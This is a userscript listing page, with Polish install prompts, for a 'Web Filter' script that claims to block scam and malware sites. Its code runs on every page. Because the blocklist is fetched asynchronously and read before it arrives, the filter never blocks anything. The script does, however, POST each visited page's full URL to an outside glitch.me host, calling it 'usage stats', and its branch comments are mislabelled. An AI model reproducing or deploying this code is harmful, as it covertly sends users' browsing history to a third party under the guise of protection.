Web Filter (Spams and Scams Gone!) [27K Sites Blocked (And Still Updating!)]

Filter out bad urls, scams, malware, shock sites, etc.

Stan na 24-06-2020. Zobacz najnowsza wersja.

Aby zainstalować ten skrypt, wymagana jest instalacje jednego z następujących rozszerzeń: Tampermonkey, Greasemonkey lub Violentmonkey.

Aby zainstalować ten skrypt, wymagana jest instalacje jednego z następujących rozszerzeń: Tampermonkey, Violentmonkey.

Aby zainstalować ten skrypt, wymagana jest instalacje jednego z następujących rozszerzeń: Tampermonkey, Violentmonkey.

Aby zainstalować ten skrypt, wymagana będzie instalacja rozszerzenia Tampermonkey lub Userscripts.

You will need to install an extension such as Tampermonkey to install this script.

Aby zainstalować ten skrypt, musisz zainstalować rozszerzenie menedżera skryptów użytkownika.

(Mam już menedżera skryptów użytkownika, pozwól mi to zainstalować!)

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

Będziesz musiał zainstalować rozszerzenie menedżera stylów użytkownika, aby zainstalować ten styl.

Będziesz musiał zainstalować rozszerzenie menedżera stylów użytkownika, aby zainstalować ten styl.

Musisz zainstalować rozszerzenie menedżera stylów użytkownika, aby zainstalować ten styl.

(Mam już menedżera stylów użytkownika, pozwól mi to zainstalować!)

// ==UserScript==
// @name         Web Filter (Spams and Scams Gone!) [27K Sites Blocked (And Still Updating!)]
// @namespace    https://greasyfork.org/en/users/198860-flarez-gaming
// @version      0.1
// @description  Filter out bad urls, scams, malware, shock sites, etc.
// @author       fz
// @include      *
// @grant        unsafeWindow
// @run-at       document-start
// ==/UserScript==

var xml;
var arr = ["https://cdn.glitch.com/94b7438a-e136-41db-80b8-a78ea1a6e027%2Fdomain%20list.txt?v=1592968773112"]; //cached blocklist from http://mirror1.malwaredomains.com/files/domains.txt
xml = new XMLHttpRequest(); xml.open("GET", arr[0], true); xml.send();
var resp = xml.responseText.split("\n");
resp.shift();resp.shift();resp.shift();resp.shift();
resp = resp.map((e)=>{return e.slice(2, (e).slice(2, -1).indexOf("	") + 2)});
//resp = resp.concat(["www.google.com"]); was for testing malicious domains

if (resp.includes(location.hostname)) {
    xml = new XMLHttpRequest();
    xml.open("POST", "https://ksw2-moomoo.glitch.me/", true);
    xml.setRequestHeader("Content-type", "application/json");
    xml.send(JSON.stringify({ //usage stats
        data: window.location.href + ";true",
        key: "wft"
    }));
    unsafeWindow.onbeforeunload = null;
    window.location = "https://blank.org";
} else {
    //if blocked
    setTimeout(()=>{
        xml = new XMLHttpRequest();
        xml.open("POST", "https://ksw2-moomoo.glitch.me/", true);
        xml.setRequestHeader("Content-type", "application/json");
        xml.send(JSON.stringify({ //usage stats
            data: window.location.href + ";false",
            key: "wft"
        }));
    }, 10000);
    //if not blocked
};